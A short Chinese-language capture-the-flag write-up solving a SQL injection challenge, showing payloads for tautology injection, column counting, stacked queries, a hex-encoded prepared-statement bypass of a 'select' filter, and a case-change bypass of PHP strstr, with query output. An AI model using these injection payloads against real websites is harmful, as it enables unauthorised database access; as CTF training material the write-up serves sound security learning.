题目直接写明随便注,那么就先上'or '1'='1
试试:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}
接着跑列数order by
?inject=1' order by 2--+
跑出来后,尝试select,结果提示过滤
不会sql注入,sqlmap跑一遍也没效果,最后看了wp才知道还有堆叠注入。
payload:?inject=1';show tables;
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
而绕过select过滤,需要使用sql预编译。
payload:
?inject=1';set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare stmt from @a;execute stmt;
其中0x73656c656374202a2066726f6d20603139313938313039333131313435313460
是select * from
1919810931114514`的16进制,之所以表名用````包裹是因为表名是纯数字。<br />但是又提示![image.png](https://cdn.nlark.com/yuque/0/2021/png/2658344/1620828566364-691300b1-966a-4e7a-a11d-7170ccf5ad10.png#align=left&display=inline&height=55&margin=%5Bobject%20Object%5D&name=image.png&originHeight=110&originWidth=514&size=4605&status=done&style=none&width=257)<br />php的
strstr`函数可以用大小写绕过
最后payload:
?inject=1';Set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare stmt from @a;Execute stmt;
得到flag。